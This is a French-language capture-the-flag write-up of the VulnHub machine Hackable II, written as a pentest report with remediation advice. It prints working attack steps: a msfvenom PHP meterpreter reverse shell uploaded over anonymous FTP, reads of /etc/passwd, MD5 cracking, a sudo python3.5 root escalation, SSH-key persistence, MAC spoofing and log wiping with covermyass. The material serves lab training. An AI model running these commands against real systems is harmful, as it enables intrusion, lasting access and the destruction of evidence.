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1 - Introduction  
 

Objectif  : identifier les vulnérabilités présentes et exploiter ces failles pour obtenir un accès qui nous permettra de récupérer le 
flag.

Contexte  : Dans le cadre de ce CTF, nous allons conduire des tests d'intrusion sur une VM pour laquelle nous n'avons aucune 
information préalable. Nous sommes donc en condition de tests dits en "environnement inconnu" ou "Black Box".  

 

1.1 - Préparation du lab  
 

Vm  : Hackable II  téléchargeable au lien suivant : https://www.vulnhub.com/series/hackable,480/

Installation de la VM

Extraction du fichier .ova :

Après l'extraction, nous importons le  fichier .ovf dans VMware.

Integration de la VM au réseau local.

En mettant la VM sur pause, nous pouvons récupérer le mot de passe root  et ainsi configurer une adresse ip dynamique 
automatique.

Nous vérifions ensuite que la VM peut joindre un site extérieur :

Notre VM a bien reçu une IP et nous avons vérifié qu'elle pouvait joindre un site externe :

 

tar -xvf nom_du_fichier.ova

  su -
  loadkeys fr
  dhclient
  ping 8.8.8.8
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1.2 - Camoufler son intervention  
macchanger

Nous allons modifier virtuellement  notre adresse MAC pour ne pas divulger notre véritable adresse dans les logs des 
équipements réseaux de la machine cible :

Pour confirmer que ce changement est effectif (jusqu'au prochain redémarrage système) :

 

2 - Reconnaissance  
 

2.1 - Identification de la cible  
netdiscover

Analyse

192.168.157.131  est l'IP de la machine cible car c'est la seule IP "inconnue" attribuée à une VM autre que l'infrastructure 
réseau.

echo "34:17:eb:ca:51:ff" > fake_mac_address.txt
sudo macchanger -m $(cat fake_mac_address.txt) eth0

macchanger -s eth0

sudo netdiscover -i eth0
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2.2 - Confirmation de la cible  
ping 

Analyse

On constate que la VM répond. Nous pouvons également déduire de l'information ttl = 64  que la VM utilise probablement 
linux  ou macOS .

 

2.3 - Identification des ports ouverts  
dimitry

Analyse

Nous constatons que 3 ports sont ouverts : 21, 22 et 80 .

 

ping 192.168.157.131 -c 5

dimitry -p 192.168.157.131
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FTP (21) SSH (22) HTTP (80)

ProFTPD OpenSSH 7.2p2 Apache 2.4.18

3 - Collecte d'informations  
 

3.1 - Enumération des services  

nmap

Analyse

L'OS de la cible est le suivant : Linux 3.X (Ubuntu, kernel 3.13.0-4.X) .

Nous avons bien 3 services ouverts et pour chacun d'eux nous avons obtenu les versions de logiciels utilisés : 

Nous détectons la présence d'un fichier nommé CALL.html.

Nous pouvons également relever dès à présent une vulnérabilité potentielle :
FTP (21) : Le scan montre Anonymous FTP login allowed .

 

 

 

 

 

nmap -A -n -Pn 192.168.157.131
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3.2 - Analyse des bannières  

netcat

Port  21 :

Port 22 :

Port 80 :

Analyse

FTP (21) : "Default Installation " suggère une configuration par défaut.

 

3.3 - Identification des vulnérabilités  

 

ProFTPD

searchsploit

nc -nv 192.168.157.131 21   

# Réponse
(UNKNOWN) [192.168.157.131] 21 (ftp) open
220 ProFTPD Server (ProFTPD Default Installation) [192.168.157.131]

nc -nv 192.168.157.131 22

# Réponse
(UNKNOWN) [192.168.157.131] 22 (ssh) open
SSH-2.0-OpenSSH_7.2p2 Ubuntu-4ubuntu2.10

nc -nv 192.168.157.131 80

# Réponse
(UNKNOWN) [192.168.157.131] 80 (http) open
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metasploit

 

tnftp

Recherche d'exploit autour de tnftp  (voir information trouvée dans la section FTP ci-dessous).

searchsploit

metasploit

 

Apache 2.4.18



searchsploit

metasploit

 

OpenSSH 7.2p2

searchsploit

metasploit



4 - Exploitation des vulnérabilités  
 

4.1 - FTP (21)  

Version du logiciel cible : proFTPD
Vulnérabilités identifiées : "Anonymous FTP login allowed" + "Default Installation"

Nous allons tenter d'exploiter la faille "Anonymous", c'est à dire que nous allons essayer de nous connecter au serveur avec 
le login "anonymous" qui ne nécéssite pas de mot de passe.

Nous avons réussi et nous sommes connecté au serveur FTP. 

En faisant un "help", on peut voir toutes les commandes disponibles :
En utilisant "status", on obtient des précisions sur la version du logiciel utilisé pour ce service : tnftp  20230507 ;
Avec la commande "ls" on constate la présence d'un fichier CALL.html ;
En utilisant la commande "get", on le télécharge :

Nous allons ouvrir le fichier avec le logiciel adapté :

On découvre un code source peu fourni, un texte "GET READY TO RECEIVE A CALL " et le titre de la page est "onion ".

Si nous pouvons downloader un fichier, nous pouvons probablement en uploader un.

Nous allons utiliser msfvenom  pour générer un payload qui ouvre un reverse shell avec un accès distant (grâce à 
meterpreter) :

ftp 192.168.157.131

xdg-open CALL.html 
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Nous nous connectons au serveur ftp pour charger le payload :

 

4.2 - HTTP (80)  

Nous allons maintenant préparer un listener pour attendre la connexion entrante du serveur cible :

Nous allons utiliser dirb pour essayer de trouver un chemin d'accès aux fichiers du serveur :

En se rendant à l'adresse http://192.168.157.131/files/ à l'aide d'un navigateur, nous pouvons ouvrir le fichier 
nePasCliquer.php .

msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.157.130 LPORT=4444 -f raw -o nePasCliquer.php     
#LHOST=Kali

ftp 192.168.157.131
login = anonymous   
password =      # Pas de mdp requis
put nePasCliquer.php        # Chargement du fichier malveillant

msfconsole
use exploit/multi/handler   # Chargement du module
set payload php/meterpreter/reverse_tcp     # Configuration du payload
set LHOST=192.168.157.130
set LPORT=4444
run

dirb http://192.168.157.131
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Grâce à cette action, nous constatons que nous avons obtenu une session meterpreter.

 

5 - Obtenir un accès  
En nous rendant à la racine, nous constatons que nous avons potentiellement accès aux fichiers et répertoires suivant :

Nous allons vérifier si des utilisateurs existent :

cat /etc/passwd
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En effet, nous avons bien la présence de trois utilisateurs qui possèdent des accès /bin/bash :
root ;
ftp ;
shrek .

En poursuivant notre exploration, nous avons également découvert 2 éléments présents dans le home :
un fichier important.txt  ; 
un répertoire nommé shrek .

Nous allons tenter de lire le contenu de important.txt  :

Afin de faciliter la suite des opérations, nous allons améliorer l'affichage de notre shell

Avec le shell remanié, nous allons pouvoir exécuter le script tel que suggéré dans le fichier " important.txt " :

cat important.txt

# Réponse
run the script to see the data

/.runme.sh

shell
bash -i



Nous obtenons 2 informations :
"The secret key is" trolled  ;
Une suite alphanumérique que nous soupçonnons être un message codé : cf4c2232354952690368f1b3dfdfb24d .

Nous allons tenter de déchiffrer le hash :

Le format MD5 etant le plus répandu, nous allons essayer de déchiffrer le hash avec ce format :

/.runme.sh

echo "cf4c2232354952690368f1b3dfdfb24d" | hashid
# Cette commande nous permet de déterminer que le message est encodé selon l'un des protocoles ci-
dessous : 

Analyzing 'cf4c2232354952690368f1b3dfdfb24d'
[+] MD2 
[+] MD5 
[+] MD4 
[+] Double MD5 
[+] LM 
[+] RIPEMD-128 
[+] Haval-128 
[+] Tiger-128 
[+] Skein-256(128) 
[+] Skein-512(128) 
[+] Lotus Notes/Domino 5 
[+] Skype 
[+] Snefru-128 
[+] NTLM 
[+] Domain Cached Credentials 
[+] Domain Cached Credentials 2 
[+] DNSSEC(NSEC3) 
[+] RAdmin v2.x 



Le résultat du déchiffrement nous donne onion  qui est potentiellement un mot de passe.

Confirmation du déchiffrement avec une autre méthode :

Nous allons tester le mot de passe découvert :

 

Nous avons obtenu l'accès au réseau en tant qu'utilisateur.

 

john --format=raw-md5 hashShrek.txt                    
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=8
Proceeding with single, rules:Single
Press 'q' or Ctrl-C to abort, almost any other key for status
Almost done: Processing the remaining buffered candidate passwords, if any.
Proceeding with wordlist:/usr/share/john/password.lst
Proceeding with incremental:ASCII
onion            (?)     
1g 0:00:00:05 DONE 3/3 (2026-02-18 16:18) 0.1886g/s 34643Kp/s 34643Kc/s 34643KC/s onewl..onira
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed. 

hashcat -m 0 -a 0 hashShrek.txt /usr/share/wordlists/rockyou.txt 

ssh shrek@192.168.157.131
onion



6 - Escalade de privilège  
Nous allons rechercher des services pour lesquels l'utilsateur shrek disposerait de droits root :

Nous constatons que l'application python3.5  possède les droits root.

Nous allons rechercher les failles potentielles associées à ces droits grâce au site https://gtfobins.org/ qui recense différentes 
fonctions pour escalader les privilèges :

Nous allons tester la fonction proposée ci-dessus :

Nous avons obtenu les droits root .

 

 

 

 

 

 

sudo -l
Matching Defaults entries for shrek on ubuntu:
    env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User shrek may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3.5

shrek@ubuntu:~$ sudo python3.5 -c 'import os; os.execl("/bin/sh", "sh")'
whoami
root
sudo -i
root@ubuntu:~# 
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7 - Persistance d'accès  
Depuis la machine attaquante (Kali), nous allons générer une paire de clés SSH  :

 

Nous avons générer une clé privée  + une clé publique  :

Nous allons transférer la clé sur la machine cible :

Nous contrôlons que nous l'avons bien récupérée :

Nous transférons la clé dans un fichier authorized_keys  dans le répertoire .ssh  de root  :

ssh-keygen -b 2048 -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/home/david/.ssh/id_rsa): 
Enter passphrase for "/home/david/.ssh/id_rsa" (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /home/david/.ssh/id_rsa
Your public key has been saved in /home/david/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:Ot4Js5DvoShwyiSwUENCkz8uAByOkzpoOCmpzsEASwo david@kali
The key's randomart image is:
+---[RSA 2048]----+
|+=+              |
|+=+              |
|E+..             |
|%= o             |
|^o. .   S        |
|X=.. . .         |
|*=. o *          |
|=... = B .       |
| +. ..= o        |
+----[SHA256]-----+

ls -la
total 24
drwx------  2 david david 4096 19 févr. 15:48 .
drwx------ 23 david david 4096 19 févr. 15:46 ..
-rw-------  1 david david 1856 19 févr. 15:48 id_rsa
-rw-r--r--  1 david david  392 19 févr. 15:48 id_rsa.pub

mv id_rsa.pub /root/.ssh/authorized_keys
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Nous avons obtenus un accès persistant .

 

8 - Nettoyer ses traces  
covermyass

Nous allons installer un programme sur la machine attaquante qui va supprimer les traces que nous avons pu laisser sur la 
machine cible :

Une fois installé, nous allons activer un serveur web temporaire sur la machine attaquante grâce à un module de python  :

Depuis la machine cible, nous allons pouvoir récupérer le programme :

Nous pouvons vérifier coté machine attaquante que le programme a bien été récupéré :

 

covermyass est un fichier de type ELF exécutable, nous allons lui donner les droits nécessaire à son exécution puis le lancer 

curl -sSL https://github.com/sundowndev/covermyass/releases/latest/download/covermyass_linux_amd64 -o 
./covermyass
chmod +x covermyass

python3 -m http.server 8080

wget http://192.168.157.132:8080/covermyass
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:

On peut constater que covermyass  a trouvé 13 fichiers de logs susceptibles de contenir des traces (connexion, exécution 
de commandes, etc.).

Nous allons effacer nos traces (5 passages) et les remplacer par des données inutiles :

Nos données ont été correctement supprimées.

 

 

 

chmod +x covermyass
./covermyass

sudo ./covermyass --write -z -n 5



Service Vulnérabilité Impact Preuve d'Exploitation

ProFTPD (21) Accès anonyme autorisé
Accès non

authentifié au
système

Connexion FTP avec anonymous / no
password

Apache (80) Version obsolète (2.4.18)
Risque d'exécution
de code arbitraire

Upload de nePasCliquer.php  via FTP

OpenSSH (22) Version 7.2p2
(potentiellement vulnérable)

Risque de brute-
force ou exploitation

de CVE
Aucune exploitation directe dans ce CTF

Sudo
Misconfiguration

python3.5  exécutable en
tant que root sans mot de

passe

Escalade de
privilèges locale

sudo -l  → sudo python3.5 -c
'import os; os.execl("/bin/sh",

"sh")'

9 - Conclusion  
Ce test d’intrusion sur la machine Hackable II  a permis d’identifier et d’exploiter plusieurs vulnérabilités critiques, démontrant 
l’importance d’une configuration sécurisée  et de mises à jour régulières . Voici les étapes clés et les recommandations pour 
corriger les failles.

9.1 - Résumé des Étapes Clés  

Reconnaissance  :
Identification de la cible ( 192.168.157.131 ) via netdiscover  et ping .
Scan des ports ouverts avec nmap  : FTP (21), SSH (22), HTTP (80).
Détection de services vulnérables : ProFTPD (accès anonyme autorisé), Apache 2.4.18 (obsolète), OpenSSH 7.2p2.

 

Exploitation  :
FTP  : Connexion anonyme et upload d’un fichier malveillant ( nePasCliquer.php ).

* Recommandation : Désactiver l’accès anonyme et mettre à jour ProFTPD.
HTTP  : Découverte du répertoire /files/  via dirb  et exécution du payload PHP pour obtenir un reverse shell.

* Recommandation : Désactiver l’indexation des répertoires et restreindre les uploads de fichiers.
Escalade de privilèges  : Exploitation de sudo python3.5  pour obtenir un accès root.

* Recommandation : Auditer les permissions sudo avec sudo -l  et corriger les entrées dangereuses dans 
/etc/sudoers .

Nettoyage  :
Utilisation de covermyass  pour effacer les traces dans les logs système et .bash_history .

 

9.2 - Vulnérabilités Critiques  
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9.3 - Correction des vulnérabilités  

Pour le service FTP (ProFTPD)  :
Désactiver l’accès anonyme :

Modifier le fichier de configuration ( /etc/proftpd/proftpd.conf ) pour désactiver Anonymous ~ .
Redémarrer le service : sudo systemctl restart proftpd .

Mettre à jour ProFTPD :
Installer la dernière version stable :

Restreindre les permissions :
Limiter les utilisateurs autorisés à se connecter et désactiver l’upload de fichiers pour les utilisateurs non autorisés.

Pour le service HTTP (Apache 2.4.18)  :
Mettre à jour Apache :

Passer à une version supportée (ex : Apache 2.4.54) :

Désactiver la liste des répertoires :
Modifier la configuration du virtual host pour désactiver Options Indexes  :

Redémarrer Apache :

Sécuriser les uploads de fichiers :
Restreindre les types de fichiers autorisés (ex : interdire .php ).

Utiliser un pare-feu applicatif (WAF) comme ModSecurity.

Pour le service SSH (OpenSSH 7.2p2)  :
Mettre à jour OpenSSH :

Installer la dernière version :

Désactiver l’authentification par mot de passe :
Modifier /etc/ssh/sshd_config  :

Redémarrer SSH :

sudo apt update && sudo apt upgrade proftpd

sudo apt update && sudo apt upgrade apache2

<Directory /var/www/html/files>
    Options -Indexes
</Directory>

sudo systemctl restart apache2

sudo apt update && sudo apt upgrade openssh-server

PasswordAuthentication no
PermitRootLogin no

sudo systemctl restart sshd
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Utiliser des clés SSH :
Générer une paire de clés et désactiver les connexions par mot de passe.

Pour la configuration Sudo  :
Corriger la configuration sudo :

Modifier /etc/sudoers  pour supprimer la ligne permettant à shrek  d’exécuter python3.5  en tant que root :

 

9.4 - Recommandations globales  

Mettre à jour  tous les services (Apache, OpenSSH, ProFTPD) vers leurs dernières versions.
Configurer  des mises à jours automatiques pour les paquets critiques.
Eviter les configurations par défaut  : L’accès anonyme FTP et les permissions sudo mal configurées ont permis 
l’intrusion.
Configurer un pare-feu  pour restreindre les accès aux ports critiques.
Auditer régulièrement  les permissions des utilisateurs et les configurations des services.
Sensibiliser les administrateurs  aux risques des configurations par défaut et aux bonnes pratiques de sécurité.
Tests réguliers  : Planifier des tests d’intrusion internes pour identifier les vulnérabilités avant qu’elles ne soient exploitées.

 

ANNEXES  

A - Rapports  

A.1 - Nmap  

Générer un rapport détaillé sur les ports, services, version et vulnérabilités potentielles :

Convertir le rapport xml  en html  :

sudo visudo
shrek ALL=(root) NOPASSWD: /usr/bin/python3.5 # Ligne à supprimer

nmap -A -p- -T4 -sV -sC -oA rapport_nmap 192.168.157.131

xsltproc rapport_nmap.xml -o rapport_nmap.html
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A.2 - Nikto  

Générer un rapport concernant les vulnérabilités web (fichiers sensibles, headers, etc.) et des recommandations de 
correction :

nikto -h http://example.com -Format html -output rapport_nikto.html
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B - Autres flags trouvés  
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